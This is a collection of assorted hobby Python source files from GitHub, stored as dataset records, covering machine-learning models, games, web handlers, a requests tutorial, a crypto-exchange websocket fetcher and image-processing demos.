file_list\n\n#argmax방식으로 리턴 \ndef getLabel_ByArgmax(preds):\n index = np.argmax(preds)\n return names[index]\n \n\n# 훈련, 검증 데이터 셋 분리.\n\n#원핫 인코딩 / (파라미터 값, 0으로된 배열의 크기)\n# 0: 1000000\n# 1: 0100000\n# 2: 0010000\n#하나의 이미지에 대해 0과 1로 라벨링된(원핫인코딩된)배열을 리턴받음.\nY = np_utils.to_categorical(labels, num_classes)\n\n#Shuffle the dataset\nx,y = shuffle(img_data,Y, random_state=2)\n# Split the dataset\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=2)\n\n#모델 생성 및 요약\nimport creat_model as cm\n\nmodel_custom = cm.create_model()\n\nmodel_custom.summary()\n\nfrom keras.preprocessing.image import ImageDataGenerator\n\ntrain_datagen = ImageDataGenerator(\n rotation_range = 40,\n zoom_range = 0.2,\n horizontal_flip = True,\n fill_mode = 'nearest')\n\ntrain_generator = train_datagen.flow(X_train,y_train,batch_size=8,shuffle=True)\n\nmodel=Sequential([\n Conv2D(64,3,activation='relu',kernel_initializer='he_normal',input_shape=(64,64,3)),\n MaxPooling2D(3),\n Conv2D(128,3,activation='relu',kernel_initializer='he_normal'),\n Conv2D(256,3,activation='relu',kernel_initializer='he_normal'),\n MaxPooling2D(3),\n Flatten(),\n Dense(256,activation='relu'),\n Dense(7,activation='softmax',kernel_initializer='glorot_normal')\n \n])\n\nes = EarlyStopping(\n monitor='val_accuracy', min_delta=0.0001, patience=10, verbose=2,\n mode='max', baseline=None, restore_best_weights=True\n)\nlr = ReduceLROnPlateau(\n monitor='val_accuracy', factor=0.1, patience=5, verbose=2,\n mode='max', min_delta=1e-5, cooldown=0, min_lr=0\n)\n\ncallbacks = [es, lr]\n\nmodel.summary()\n\nmodel.compile(optimizer='adam',loss='sparse_categorical_crossentropy',metrics=['accuracy'])\n\nhistory = model.fit(train_generator, batch_size=8 , epochs=20, validation_data = (X_train, y_train), callbacks = [callbacks],shuffle=True)","repo_name":"kMinsAlgorithm/DetectFacialEmotion","sub_path":"EmotionAcc99.PY","file_name":"EmotionAcc99.PY","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35495780098","text":"from art import logo\nimport os\nimport random\n\n\ndef clearConsole():\n command = 'clear'\n if os.name in ('nt', 'dos'): # If Machine is running on Windows, use cls\n command = 'cls'\n os.system(command)\n\n\n\n\n## The deck is unlimited in size. \n## There are no jokers. \n## The Jack/Queen/King all count as 10.\n## The the Ace can count as 11 or 1.\n## Use the following list as the deck of cards:\n## cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n## The cards in the list have equal probability of being drawn.\n## Cards are not removed from the deck as they are drawn.\n## The computer is the dealer.\n\n\nnew_game = input(\"Do you want to play a game of Blackjack? Type 'y' or 'n': \")\ncards = [11, 2, 3, 4, 5, 6, 7, 8, 10, 10, 10, 10]\n\nwhile new_game == 'y':\n\n clearConsole()\n print(logo)\n player_cards = []\n comp_cards = []\n another_card = 'y'\n\n\n comp_cards.append(random.choice(cards))\n comp_cards.append(random.choice(cards))\n comp_sum = sum(comp_cards)\n player_cards.append(random.choice(cards))\n player_sum = player_cards[0]\n\n while another_card == 'y':\n player_cards.append(random.choice(cards))\n player_sum += player_cards[-1]\n \n player_sum_print = player_sum\n\n if 11 in player_cards:\n if player_sum > 21:\n player_cards[player_cards.index(11)] = 1\n player_sum -= 10\n player_sum_print = player_sum\n else: \n player_sum_print = f\"{player_sum_print}/{player_sum_print - 10}\"\n \n print(f\"\\tYour cards {player_cards}, current score: {player_sum_print}\")\n print(f\"\\tComputer's first card: {comp_cards[0]}\")\n if player_sum < 21:\n another_card = input(\"Type 'y' to get another card, type 'n' to pass: \")\n else:\n another_card = 'n'\n\n\n if player_sum <= 21:\n another_card = 'y'\n \n while another_card == 'y':\n if comp_sum <= player_sum and comp_sum != 21:\n comp_cards.append(random.choice(cards))\n comp_sum += comp_cards[-1]\n else: \n another_card = 'n'\n \n\n print(f\"Your final hand: {player_cards}, final score: {player_sum}\")\n print(f\"Computer's final hand: {comp_cards}, final score: {comp_sum}\")\n if player_sum > 21:\n print(\"You went over. You lose.\")\n elif comp_sum <= 21 and comp_sum > player_sum:\n print(\"Computer scored higher. You lose\")\n elif comp_sum > 21:\n print(\"Computer went over. You win\")\n elif comp_sum == player_sum:\n print(\"It's a tie.\") \n else:\n print(\"You scored higher. You win.\")\n\n new_game = input(\"Do you want to play a game of Blackjack? Type 'y' or 'n': \")","repo_name":"kom1323/100-days-of-code","sub_path":"day11-blackjack/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74989433701","text":"import os\n\nfrom base.utils import get_random_string\nfrom .optimizer import optimize, crop, convert_to_webp\nfrom .config import ImageConfig\nfrom ..base import save_file\n\n\ndef get_file_folder(base_folder, filename):\n name, _ = filename.rsplit(\".\", 1)\n path = f\"{base_folder}{name}/\"\n while True:\n if not os.path.exists(path):\n break\n name = f\"{name}_{get_random_string(3)}\"\n path = f\"{base_folder}{name}/\"\n return path\n\n\ndef directory_and_file(directory, file):\n directory = f\"{directory}/\" if not directory.endswith(\"/\") else directory\n return f\"{directory}{file}\"\n\n\nclass ImageService:\n\n def __init__(self, file_path: str, config: ImageConfig):\n self.config = config\n self.file_path = file_path\n self.folder, self.filename = file_path.rsplit(\"/\", 1)\n self._filename, self.extension = self.filename.rsplit(\".\", 1)\n\n async def get_optimized(self):\n optimized_data = optimize(self.file_path, self.config.optimization_quantity)\n return await save_file(self.folder, self.filename, optimized_data, is_rewrite=True)\n\n async def get_webp(self, is_update=False):\n # Build webp file name\n filename = f\"{self._filename}.webp\"\n # Build webp file path\n webp_file_path = directory_and_file(self.folder, filename)\n if is_update or not os.path.exists(webp_file_path):\n webp_data = convert_to_webp(self.file_path)\n return await save_file(self.folder, filename, webp_data, is_rewrite=True)\n return webp_file_path\n\n async def get_crop(self, width, height, ppoi=(0.5, 0.5), is_webp=False, is_update=False):\n extension = \"webp\" if is_webp else self.extension\n filename = f\"{self._filename}_{width}x{height}.{extension}\"\n crop_file_path = directory_and_file(self.folder, filename)\n if is_update or not os.path.exists(crop_file_path):\n file_path = await self.get_webp() if is_webp else self.file_path\n image_data = crop(width, height, file_path, ppoi)\n return await save_file(self.folder, filename, image_data, is_rewrite=True)\n return crop_file_path\n\n async def generate_crops(self):\n for size in self.config.sizes:\n if self.config.is_webp:\n await self.get_crop(**size, is_webp=True, is_update=True)\n await self.get_crop(**size, is_update=True)\n\n @classmethod\n async def save(cls, image_data, filename: str, uploads_path: str, config: ImageConfig):\n base_folder = (\n f\"{uploads_path}{config.folder}/\"\n if config.folder else uploads_path\n )\n folder = get_file_folder(base_folder, filename)\n # Save instance image file\n instance_file_path = await save_file(folder, filename, image_data)\n service = cls(\n file_path=instance_file_path,\n config=config\n )\n if config.is_optimizer:\n await service.get_optimized()\n if config.is_webp:\n await service.get_webp()\n if config.sizes:\n await service.generate_crops()\n return service\n","repo_name":"Cguilliman/fast-api-sandbox","sub_path":"server/base/uploads/images/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41092411095","text":"\nfrom dash import html\n\nimport dash_bootstrap_components as dbc\n\nfrom .componentes.filtros import Filtros\nfrom .componentes.mapa import MapaNormativo\nfrom .componentes.footer_normativo import FooterNormativo\n\n\n\n\nlayout = html.Div([\n dbc.Row([\n dbc.Col(Filtros, lg=3),\n dbc.Col(MapaNormativo, lg=9)\n ]),\n html.Br(),\n html.Br(),\n html.Hr(),\n dbc.Row([\n dbc.Col(FooterNormativo, md=12),\n ])\n\n\n ],\n className=\"my-5 mx-5 min-vh-100\",\n ) ","repo_name":"reflejar/pis-dash","sub_path":"pages/mapa_normativo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"7224348194","text":"import os\nimport json\nimport redis\nimport uuid\nfrom random import choice\nfrom tornado.web import RequestHandler\nfrom utils.myredis import update_task, delete_task, add_race \nfrom utils.mycookie import get_cookie\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\nRANDOM_PENGUIN = [\"king\", \"emperor\", \"gentoo\", \"adelie\", \"chinstrap\", \"rockhopper\", \"snares\", \"macaroni\", \"fiordland\", \"humboldt\", \"magellanic\", \"galapagos\"]\nRANDOM_ROLE = [\"krill-connoisseur\", \"squid-advocate\", \"ocean-goer\", \"iceberg-specialist\", \"diplomat\", \"absurdist\", \"aestheticist\", \"atheist\", \"altruist\", \"agnostic\", \"anarchist\", \"stoic\", \"structuralist\", \"dualist\", \"materialist\", \"skeptic\", \"romanticist\", \"reductionist\", \"rationalist\", \"behavioralist\", \"idealist\", \"panpsychist\", \"objectivist\", \"subjectivist\", \"nihilist\", \"naturalist\", \"mysticist\", \"modernist\", \"pessimist\", \"individualist\", \"libertarian\", \"philanthropist\", \"determinist\", \"existentialist\", \"buddhist\", \"penguinist\", \"collectivist\", \"cynicist\", \"darwinist\", \"epicurean\", \"epiphenomenalist\", \"fatalist\", \"formalist\", \"idealist\", \"illusionist\", \"instrumentalist\"]\n\n\nclass InitiateRaceHandler(RequestHandler):\n\n async def get(self):\n session_id = get_cookie(self.request.headers.get(\"Cookie\"), \"session_id\")\n if \"session_id\" == \"\": \n self.write(json.dumps({\n \"type\": \"redirect\",\n \"protocol\": \"http\",\n \"url\": \"/login\"\n }))\n else:\n html_file = os.getenv(\"HTML_PATH\") + \"/initiate_race.html\"\n with open(html_file) as f:\n self.write(f.read())\n\n async def post(self):\n s = self.request.body.decode(encoding=\"utf-8\")\n data = json.loads(s)\n \n if data[\"type\"] == \"request_race\":\n new_race_id = choice(RANDOM_PENGUIN) + \"-the-\" + choice(RANDOM_ROLE) + \"-\" + str(uuid.uuid1()).split(\"-\")[0]\n print(\"new race\", new_race_id)\n self.write(json.dumps({\n \"type\": \"cookie\",\n \"race_id\": new_race_id\n }))\n\n if data[\"type\"] == \"task_info\":\n tid = data[\"id\"]\n ttitle = data[\"title\"]\n tdescription = data[\"description\"]\n tcredits = data[\"credits\"]\n # Visit database: create/update the task entry and return the task link.\n success = await update_task(tid, ttitle, tdescription, tcredits)\n status = \"updated\" if success else \"database error\"\n self.write(json.dumps({\n \"type\" : \"log\",\n \"text\" : \"tid: \"+ tid + \", \" + status\n }))\n\n if data[\"type\"] == \"delete_task\":\n tid = data[\"id\"]\n # Visit database: create/update the task entry and return the task link.\n success = await delete_task(tid)\n status = \"deleted\" if success else \"database error\"\n self.write(json.dumps({\n \"type\" : \"log\",\n \"text\" : \"tid: \"+ tid + \", \" + status\n }))\n\n if data[\"type\"] == \"initiate_race\":\n race_id = get_cookie(self.request.headers.get(\"Cookie\"), \"race_id\")\n session_id = get_cookie(self.request.headers.get(\"Cookie\"), \"session_id\")\n r = redis.Redis(host=os.getenv(\"REDIS_HOST\"), charset=\"utf-8\", decode_responses=True)\n username = r.get(session_id + \":username\")\n r.quit()\n rtitle = data[\"title\"]\n rintroduction = data[\"introduction\"]\n rduration = data[\"duration\"]\n _ = await add_race(race_id, rtitle, rintroduction, rduration, username)\n self.write(json.dumps({\n \"type\": \"redirect\",\n \"protocol\": \"http\",\n \"url\": \"/race/\" + race_id\n }))\n\n","repo_name":"zoehcycy/racing","sub_path":"handlers/initiate_race.py","file_name":"initiate_race.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5370375945","text":"from league import League\nimport agents\nimport pathlib\nimport numpy as np\nimport random\n\ndirectory_names = ['-1', '0', '1']\n\n\nclass DataGenerator:\n def __init__(self, games):\n self._games = games\n\n def generate(self, save_folder, earliest_move=1, latest_move=None):\n save_directory = pathlib.Path(save_folder)\n\n for directory_name in directory_names:\n directory_path = save_directory / directory_name\n\n if not directory_path.exists():\n directory_path.mkdir(parents=True)\n\n for game_number, game in self._games.items():\n\n if game_number % 1000 == 0:\n print(f'processed {game_number} games')\n\n if earliest_move >= game.total_moves:\n print('skipping game, not enough moves')\n continue\n\n if latest_move:\n last_move = min(latest_move, game.total_moves)\n else:\n last_move = game.total_moves\n\n move_number = random.randint(earliest_move, last_move)\n\n # for move_number in range(earliest_move, last_move):\n board = game.board_at_move(move_number).board\n\n np.save(save_directory / str(game.winner) / f'{game_number}_{move_number}.npy', board)\n\n\ndef main():\n league = League(players=[\n agents.ProximityRandomPlayer(name='proximity'),\n agents.RandomPlayer(name='random'),\n ])\n\n league.play_games(number_of_games=100000, turns_per_game=40)\n\n print(league)\n print(league.games)\n\n datagen = DataGenerator(league.games)\n datagen.generate(save_folder='data')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Laurence-Cullen/alien_blobs","sub_path":"data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"109343890","text":"#!/usr/bin/env python3\n\nfrom mailroom4 import * \n\n# data \n\ndonor = ('Nathan Explosion', [39595, 35081, 93295])\n\n# donor dict data\n\ndonor_dict = {\n \"Nathan Explosion\": [39595, 35081, 93295]\n}\n\n# testing appending and adding the donor dictionary\n\ndef test_donor_dict_update_append():\n donor_dict_update(donor=\"Nathan Explosion\", donation_amount=\"1234\", donor_dict=donor_dict)\n expected = {\"Nathan Explosion\": [39595, 35081, 93295, 1234]}\n assert donor_dict == expected\n\ndef test_donor_dict_update_add():\n donor_dict_update(donor=\"Pickles\", donation_amount=\"1234\", new_donor=True, donor_dict=donor_dict)\n expected = {\"Nathan Explosion\": [39595, 35081, 93295, 1234], \"Pickles\": [1234]}\n assert donor_dict == expected\n\ndef test_thank_you_letter():\n expected = \"Dear Pickles,\\n\\nThank you for your generous donation of $40! As you certianly know, kittens\\nand metal are awesome and your donation will insure that others will be able\\nto enjoy kittens and metal.\\n\\nThank you,\\n\\nKitten and Metal Charity\\n\\n\"\n assert thank_you_letter([\"Pickles\", 40]) == expected\n\ndef test_table_header():\n expected = 'Donor Name |Total Given |Num Gifts |Average Gift\\n--------------------------------------------------------------'\n assert table_header() == expected\n\ndef test_row_formatter():\n row = [\"Pickles\", 45434, 3, 45434/3]\n expected = 'Pickles |$ 45434.00| 3|$ 15144.67'\n assert row_formatter(row) == expected\n\ndef test_donor_info_report(): \n expected = ['Nathan Explosion', 167971, 3, 167971/3]\n assert donor_info(donor) == expected\n\ndef test_donor_info_letters():\n expected = ['Nathan Explosion', 3, 167971]\n assert donor_info(donor, letters=True) == expected\n\ndef test_thank_you_letter_all_donors():\n expected = \"Dear Nathan Explosion,\\n\\n\\tYou have made 3 donations to the kittens and metal charity totaling $167971.\\n\\nThank you,\\n\\n\\tKitten and Metal Charity\"\n assert thank_you_letter(['Nathan Explosion', 3, 167971], all_donors=True) == expected\n\ndef test_write_to_file():\n wd = os.getcwd()\n os.mkdir(wd + \"/\" + \"test_dir\")\n donor_letter = \"This is test text!\"\n write_to_file(donor_letter, \"test_dir\", \"donor\")\n f = open(wd + \"/\" + \"test_dir\" + \"/\" + \"donor.txt\", \"r\")\n new_file = f.read()\n assert new_file == donor_letter\n\ndef remove_directy():\n wd = os.getcwd()\n os.remove(wd + \"/\" + \"test_dir\")\n\nif __name__ == '__main__':\n test_donor_dict_update_append()\n test_donor_dict_update_add()\n test_thank_you_letter()\n test_table_header()\n test_row_formatter()\n test_donor_info_report()\n test_thank_you_letter_all_donors()\n test_write_to_file()\n remove_directy()","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/erik_oien/lesson06/mailroom_test.py","file_name":"mailroom_test.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"34526199245","text":"\nclass Node():\n def __init__(self,data):\n self.data=data\n self.left=None\n self.right=None\n\nclass SearchTree(object):\n def __init__(self):\n self.root=None\n\n def insert(self,data):\n self.root=self.insert_value(self.root,data)\n return self.root is not None\n\n def insert_value(self,node,data):\n if node is None:\n node=Node(data)\n else:\n if data[1][1]<=node.data[1][1] :\n if data[1][0]<=node.data[1][0]:\n node.left=self.insert_value(node.left,data)\n else:\n node.right=self.insert_value(node.right,data)\n return node\n\n def preOrder(self,result):\n def preOrderTraversal(root):\n if root is None:\n pass\n else:\n # print(root.data[0],end=' ')\n if root.data[0] is not None:\n result.append(root.data[0])\n preOrderTraversal(root.left)\n preOrderTraversal(root.right)\n preOrderTraversal(self.root)\n\n\n def postorder(self,result):\n def postOrderTraversal(root):\n if root is None:\n pass\n else:\n postOrderTraversal(root.left)\n postOrderTraversal(root.right)\n if root.data[0] is not None:\n result.append(root.data[0])\n postOrderTraversal(self.root)\n\n\n\ndef solution(nodeinfo):\n answer = []\n tree=SearchTree()\n\n for i in range(len(nodeinfo)):\n answer.append([i+1,nodeinfo[i]])\n answer.sort(key=lambda x:(-x[1][1],x[1][0]))\n # print(answer)\n for i in range(len(nodeinfo)):\n tree.insert(answer[i])\n\n arr=[[],[]]\n arr.append(tree.postorder(arr[0]))\n\n arr.append(tree.preOrder(arr[1]))\n\n return [arr[1],arr[0]]\n # print([arr[1],arr[0]])\n\n\nsolution([[5,3],[11,5],[13,3],[3,5],[6,1],[1,3],[8,6],[7,2],[2,2]])","repo_name":"hyun132/Algorithm_with_python","sub_path":"길 찾기 게임.py","file_name":"길 찾기 게임.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71903621232","text":"import torch.nn as nn\n\n\nclass FCDiscriminator(nn.Module):\n \"\"\"\n inplanes, planes. Patch-gan\n \"\"\"\n\n def __init__(self, inplanes, planes = 64):\n super(FCDiscriminator, self).__init__()\n self.name_ = self.__class__.__name__\n self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=3, stride=2, padding=1)\n self.conv2 = nn.Conv2d(planes, planes * 2, kernel_size=3, stride=2, padding=1)\n self.conv3 = nn.Conv2d(planes * 2, planes * 4, kernel_size=3, stride=2, padding=1)\n self.conv4 = nn.Conv2d(planes * 4, planes * 8, kernel_size=3, stride=2, padding=1)\n self.relu = nn.ReLU(inplace=True)\n self.leaky_relu = nn.LeakyReLU(negative_slope=0.2, inplace=True)\n self.classifier = nn.Conv2d(planes * 8, 1, kernel_size=1)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.relu(x)\n x = self.conv2(x)\n x = self.relu(x)\n x = self.conv3(x)\n x = self.relu(x)\n x = self.conv4(x)\n x = self.leaky_relu(x)\n x = self.classifier(x)\n return x\n","repo_name":"Jarvis73/PuCo","sub_path":"models/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"8415988692","text":"#!/usr/bin/python3\n\nimport requests\nfrom requests import Request, Session\n# suppress InsecureRequestWarning from urllib3 if using verify=False to access websites using self-signed certs\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n#\n# UN-COMMENT ONE BLOCK AT A TIME TO SEE IT IN ACTION\n# http://docs.python-requests.org/en/master/user/quickstart/\n# http://docs.python-requests.org/en/master/user/advanced/\n# ALWAYS HAVE A TIMEOUT FOR YOUR REQUESTS\n#\n\n#=============\n# set custom headers\n#=============\n# as a best practice, use legit User-Agent and Accept strings, and any other \"recommended\" headers your customer has documented\nheady = {\n\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0',\n\t'Accept': 'text/html'\n}\nproxy = {\n\t'http': 'http://127.0.0.1:8080',\n\t'https': 'https://127.0.0.1:8080'\n}\n## or in-line\n## r = requests.get('https://www.google.com', headers={'User-Agent':'CustomUA'}, timeout=1.0)\n\n#=============\n# basic GET request/response\n#=============\n## simple request (won't print on screen but it will generate req/resp traffic)\n#r = requests.get('https://www.google.com', headers=heady, proxies=proxy, timeout=1.0) # using a proxy\nr = requests.get('https://www.google.com', headers=heady, timeout=1.0)\n\nprint('\\n---=== Request Headers ===---')\nprint(r.request.headers)\nprint('\\n---=== Response Headers ===---')\nprint(r.headers)\nprint('\\n---=== Response Status Code ===---')\nprint(r.status_code)\nprint('\\n---=== Response Content Type ===---')\nprint(r.headers['content-type'])\nprint('\\n')\n#print(r.content)\nprint('='*50)\n\n#=============\n# basic GET request/response using streaming data to control response body access (response body is not downloaded until .content attribute is called, also preserves raw socket information)\n#\thttps://docs.python-requests.org/en/master/user/advanced/#body-content-workflow\n# access redirect/history objects (stream does not impact this)\n# use no TLS/SSL validation (just an example, Google most definitely uses signed certificates)\n# get the IP address (ONLY works with stream=True due to preserving socket info)\n#=============\n# will be redirected from http://google.com --> http://www.google.com --> https://www.google.com/?gws_rd=ssl\nr = requests.get('http://google.com', headers=heady, timeout=1.0, stream=True, allow_redirects=True, verify=False)\n# access raw socket information BEFORE any calls to .content\n#\tONLY works with stream=True because the connection is held open until .content is called, hence the socket information is still available, but then once .content is called the socket info gets dumped\n# returns an IP/port tuple\n# note if using proxies, the IP/port will be the proxy info, not the true remote IP address\nip = r.raw._fp.fp.raw._sock.getpeername()\n# if the history iterable exists, access each item individually (note this does not include the most recent website / final landing page)\nif r.history:\n\tfor h in r.history:\n\t\tprint(h.status_code, h.url)\nprint(r.status_code, ip, r.url)\nr.close()\n# ALWAYS close a streaming connection\n# or wrap it in a \"with\" statement, such as\n# with requests.get('http://google.com', stream=True) as r: ...\n\n#=============\n# prepared requests\n#=============\n#s = Session()\n#r = requests.Request('GET', 'https://www.google.com', headers=heady)\n#p = r.prepare()\n#resp = s.send(p, timeout=1.0)\n#print(resp.request.headers)\n#print(resp.status_code)\n\n#=============\n# headers\n#=============\n#r = requests.get('https://www.google.com', headers=heady, timeout=1.0)\n## request headers\n#print(r.request.headers)\n## response headers\n#print(r.headers)\n\n#=============\n# redirects\n#=============\n## no redirects\n#r = requests.get('http://github.com', allow_redirects=False, headers=heady, timeout=1.0)\n#print r.status_code\n#print r.history\n## with redirects\n#r = requests.get('http://github.com', allow_redirects=True, headers=heady, timeout=1.0)\n#print(r.url)\n#print(r.status_code)\n#print(r.history)\n\n#=============\n# check content encoding (if expecting text)\n#=============\n## use r.content to find encoding\n## r.encoding = 'UTF-8'\n\n#=============\n# binary response data (images etc)\n#=============\n#from PIL import Image\n#from io import BytesIO\n#r = requests.get('https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png')\n#i = Image.open(BytesIO(r.content))\n#i.save('/home/user/googlelogo_color_272x92dp.png')\n\n#=============\n# json response content\n#=============\n## use r.status_code to check for a proper response code and r.raise_for_status() (None means it isn't returing json)\n#r = requests.get('http://api.github.com/events', headers=heady, timeout=1.0)\n#print(r.status_code)\n#print(r.raise_for_status())\n#print(r.json())\n\n#=============\n# raw response content\n#=============\n## must set stream=True\n## use a with open... file.write() block for effective use of this\n#r = requests.get('http://api.github.com/events', headers=heady, stream=True, timeout=1.0)\n#for chunk in r.iter_content(chunk_size=128):\n#\tprint(chunk)\n#\tprint()\n\n#=============\n# pass parameters in url\n#=============\n#payload = {'key1':'val1', 'key2':'val2', 'key3':['val33', 'val44']}\n#r = requests.get('http://httpbin.org/get', params=payload, headers=heady, timeout=1.0)\n#print(r.url)\n#print(r.headers)\n#print(r.content)\n\n#=============\n# POST requests\n#=============\n## data instead of params - data can pass tuples, if a form has multiple elements using the same key\n#payload = {'key1':'val1', 'key2':'val2', 'key3':['val33', 'val44']} # DICT WITH DIFFERENT KEYS\n#payload = (('key1','value1'), ('key1', 'value2')) # TUPLE WITH SAME KEY\n#r = requests.post('http://httpbin.org/post', data=payload, headers=heady, timeout=1.0)\n#print(r.text)\n#print(r.json())\n\n#=============\n# JSON as URL payload \n#=============\n## requires import json\n#url = 'https://www.google.com'\n#payload = {'some':'data'}\n#r = requests.post(url, data=json.dumps(payload), headers=heady, timeout=1.0)\n#print(r.text)\n","repo_name":"bonifield/helpers","sub_path":"python/python-web-requests.py","file_name":"python-web-requests.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"15360428229","text":"import json\r\nimport requests\r\nimport asyncio\r\nimport time\r\nimport websockets\r\nimport random\r\n\r\nAPI_URL = 'https://api.plus.cex.io/rest-public'\r\nAPI_SPOT_SYMBOLS_URL = '/get_pairs_info'\r\nWS_URL = 'wss://api.plus.cex.io/ws-public'\r\nWS_PUBLIC_SPOT_TRADE = 'trade_subscribe'\r\nWS_PUBLIC_SPOT_DEPTH_DELTA = 'order_book_increment'\r\nWS_PUBLIC_SPOT_DEPTH_WHOLE = 'order_book_subscribe'\r\nTIMEOUT = 5\r\nPING_TIMEOUT = 5\r\nresponse = requests.get(API_URL + API_SPOT_SYMBOLS_URL)\r\nsymbols = [x['base'].upper() + '-' + x['quote'].upper()\r\n for x in response.json()['data']]\r\ntrades = 'tradeUpdate'\r\ndeltas = WS_PUBLIC_SPOT_DEPTH_DELTA\r\nsnapshots = WS_PUBLIC_SPOT_DEPTH_WHOLE\r\n\r\n\r\nasync def meta(response):\r\n for i in response.json()['data']:\r\n print(\"@MD\", (i['base'].upper() + '-' + i['quote'].upper()), \"spot\", i['base'].upper(), i['quote'].upper(), i['quotePrecision'],\r\n 1, 1, 0, 0, end=\"\\n\")\r\n print(\"@MDEND\")\r\n\r\n\r\nasync def heartbeat(ws):\r\n while True:\r\n await ws.send(message=json.dumps({\"e\": \"ping\"}))\r\n await asyncio.sleep(PING_TIMEOUT)\r\n\r\n\r\ndef print_trades(data):\r\n try:\r\n print('!', round(time.time() * 1000),\r\n data[\"data\"][\"pair\"].upper(), data[\"data\"][\"side\"].upper(), data[\"data\"][\"price\"], data[\"data\"][\"amount\"])\r\n except:\r\n pass\r\n\r\n\r\ndef print_orderbooks(data, is_snapshot):\r\n try:\r\n if is_snapshot:\r\n if data[\"data\"][\"asks\"] != []:\r\n print('$', round(time.time() * 1000), data[\"data\"][\"pair\"].upper(), 'S', '|'.join(\r\n i[1] + '@' + i[0] for i in data[\"data\"][\"asks\"]), 'R')\r\n if data[\"data\"][\"bids\"] != []:\r\n print('$', round(time.time() * 1000), data[\"data\"][\"pair\"].upper(), 'B', '|'.join(\r\n i[1] + '@' + i[0] for i in data[\"data\"][\"bids\"]), 'R')\r\n else:\r\n if data[\"data\"][\"asks\"] != []:\r\n print('$', round(time.time() * 1000), data[\"data\"][\"pair\"].upper(), 'S', '|'.join(\r\n i[1] + '@' + i[0] for i in data[\"data\"][\"asks\"]))\r\n if data[\"data\"][\"bids\"] != []:\r\n print('$', round(time.time() * 1000), data[\"data\"][\"pair\"].upper(), 'B', '|'.join(\r\n i[1] + '@' + i[0] for i in data[\"data\"][\"bids\"]))\r\n except:\r\n pass\r\n\r\n\r\nasync def subscribe(ws, symbols_):\r\n for i in range(len(symbols_)):\r\n await ws.send(message=json.dumps({\r\n \"e\": f\"{WS_PUBLIC_SPOT_TRADE}\",\r\n \"oid\": f\"{random.randint(1, 9999999999)}_{WS_PUBLIC_SPOT_TRADE}\",\r\n \"data\": {\r\n \"pair\": f\"{symbols_[i]}\",\r\n },\r\n })) \r\n await asyncio.sleep(TIMEOUT)\r\n await ws.send(message=json.dumps({\r\n \"e\": f\"{WS_PUBLIC_SPOT_DEPTH_WHOLE}\",\r\n \"oid\": f\"{random.randint(1, 9999999999)}_{WS_PUBLIC_SPOT_DEPTH_WHOLE}\",\r\n \"data\": {\r\n \"pair\": f\"{symbols_[i]}\",\r\n },\r\n }))\r\n await asyncio.sleep(TIMEOUT)\r\n \r\n\r\nasync def main():\r\n meta_task = asyncio.create_task(meta(response))\r\n async for ws in websockets.connect(WS_URL):\r\n try:\r\n sub_task = asyncio.create_task(subscribe(ws, symbols))\r\n ping_task = asyncio.create_task(heartbeat(ws))\r\n while True:\r\n try:\r\n data = await ws.recv()\r\n data_json = json.loads(data) \r\n if data_json['e'] == trades:\r\n print_trades(data_json)\r\n if data_json['e'] == deltas:\r\n print_orderbooks(data_json, 0)\r\n if data_json['e'] == snapshots:\r\n print_orderbooks(data_json, 1) \r\n except:\r\n continue\r\n except:\r\n continue\r\n\r\nasyncio.run(main())\r\n","repo_name":"rDrayBen/Algohouse-fetchers","sub_path":"cexio-fetcher.py","file_name":"cexio-fetcher.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"12968447791","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\nimg = cv.imread('Photos/cats.jpg')\r\ncv.imshow('Cats', img)\r\n\r\n# Averaging Blur\r\naverage = cv.blur(img, (3,3))\r\ncv.imshow('Average Blur',average)\r\n\r\n# Gaussian Blur\r\ngauss = cv.GaussianBlur(img, (3,3), 0)\r\ncv.imshow('Gaussian Blur', gauss)\r\n\r\n# Median Blur (good for denoising)\r\nmedian = cv.medianBlur(img, 3)\r\ncv.imshow('Median Blur', median)\r\n\r\n# Bilateral Blur\r\nbilateral = cv.bilateralFilter(img, 10, 35, 25)# color sigma: more colors in the neighborhood that will be considered during bluring\r\n# sigma space: larger values means that further pixels will affect the result.\r\ncv.imshow('Bilateral', 